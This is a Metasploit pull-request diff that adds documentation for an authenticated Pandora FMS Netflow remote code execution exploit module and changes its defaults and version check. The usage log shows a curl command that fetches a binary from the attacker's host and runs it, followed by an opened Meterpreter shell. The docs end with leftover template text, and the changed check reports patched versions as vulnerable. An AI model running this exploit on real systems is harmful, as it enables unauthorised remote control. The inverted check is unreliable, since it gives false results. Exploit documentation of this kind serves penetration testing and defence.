Code refactor, docs

Author: msutovsky-r7

documentation/modules/exploit/linux/http/pandora_fms_auth_netflow_rce.md

@@ -0,0 +1,75 @@
+## Vulnerable Application
+
+PandoraFMS offers multiple modules that can be turned on or off with an administrative account.
+One of them is Netflow, which is responsible for real-time network monitoring.
+It can collect network data and then report or dump it.
+Once Netflow is configured, it allows you to perform various tasks, such as viewing and exporting network data.
+
+The Netflow explorer contains a vulnerability when an unsanitized parameter from the Netflow configuration is placed into a string that gets executed using the exec() function.
+
+The PandoraFMS can be installed from [here](https://sourceforge.net/projects/pandora/files/Pandora%20FMS%207.0NG/777/Tarball/):
+
+1. Download vulnerable PandoraFMS
+2. Install webserver - Apache2, MySQL, PHP
+3. Following installation steps of PandoraFMS
+4. Run: `sudo apt install nfdump`
+
+
+## Verification Steps
+
+1. Install the application
+1. Start msfconsole
+1. Do: `use linux/http/pandora_fms_auth_netflow_rce`
+1. Do: `set rhosts [target IP]`
+1. Do: `set lhost  [attacker IP]`
+1. Do: `set username  [username]`
+1. Do: `set password  [password]`
+1. Do: `run`
+1. You should get a shell.
+
+## Options
+
+
+### USERNAME
+
+Login username of existing user.
+
+### PASSWORD
+
+Login password of existing user.
+
+## Scenarios
+
+```
+msf6 exploit(linux/http/pandora_fms_auth_netflow_rce) > set rhosts 192.168.168.146
+msf6 exploit(linux/http/pandora_fms_auth_netflow_rce) > set PASSWORD pandora
+msf6 exploit(linux/http/pandora_fms_auth_netflow_rce) > set USERNAME admin
+msf6 exploit(linux/http/pandora_fms_auth_netflow_rce) > run verbose=true 
+[*] Command to run on remote host: curl -so ./khZKmkFYijJ http://192.168.168.128:8080/M1We21fZKyvgtWK9IWStLA;chmod +x ./khZKmkFYijJ;./khZKmkFYijJ&
+[*] Fetch handler listening on 192.168.168.128:8080
+[*] HTTP server started
+[*] Adding resource /M1We21fZKyvgtWK9IWStLA
+[*] Started reverse TCP handler on 192.168.168.128:4444 
+[*] 192.168.168.146:80 - Running automatic check ("set AutoCheck false" to disable)
+[*] 192.168.168.146:80 - Version 7.0.777 detected
+[+] 192.168.168.146:80 - The target is vulnerable. Vulnerable PandoraFMS version 7.0.777 detected
+[*] Client 192.168.168.146 requested /M1We21fZKyvgtWK9IWStLA
+[*] Sending payload to 192.168.168.146 (curl/7.68.0)
+[*] Meterpreter session 2 opened (192.168.168.128:4444 -> 192.168.168.146:54980) at 2025-06-25 12:27:52 +0200
+
+meterpreter > sysinfo
+Computer     : 192.168.168.146
+OS           : Ubuntu 20.04 (Linux 5.15.0-136-generic)
+Architecture : x64
+BuildTuple   : x86_64-linux-musl
+Meterpreter  : x64/linux```
+
+For example:
+
+To do this specific thing, here's how you do it:
+
+```
+msf > use module_name
+msf auxiliary(module_name) > set POWERLEVEL >9000
+msf auxiliary(module_name) > exploit
+```

modules/exploits/linux/http/pandora_fms_auth_netflow_rce.rb

@@ -35,15 +35,16 @@ def initialize(info = {})
             'Linux/Unix Command',
             {
               'Platform' => ['unix', 'linux'],
-              'Arch' => [ ARCH_CMD],
-              'Payload' => 'cmd/linux/http/x64/meterpreter/reverse_tcp'
+              'Arch' => [ ARCH_CMD]
             }
           ]
         ],
         'DisclosureDate' => '2025-12-30',
         'DefaultTarget' => 0,
         'DefaultOptions' => {
-          'RPORT' => 80
+          'RPORT' => 80,
+          'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',
+          'FETCH_WRITABLE_DIR' => '/tmp'
         },
         'Notes' => {
           'Stability' => [CRASH_SAFE],
@@ -87,7 +88,7 @@ def check
 
     vprint_status("Version #{version} detected")
 
-    return Exploit::CheckCode::Vulnerable("Vulnerable PandoraFMS version #{version} detected") unless Rex::Version.new(version) >= Rex::Version.new('7.0.777.10')
+    return Exploit::CheckCode::Vulnerable("Vulnerable PandoraFMS version #{version} detected") unless Rex::Version.new(version) < Rex::Version.new('7.0.777.10')
 
     Msf::Exploit::CheckCode::Safe('Running version is not vulnerable')
   end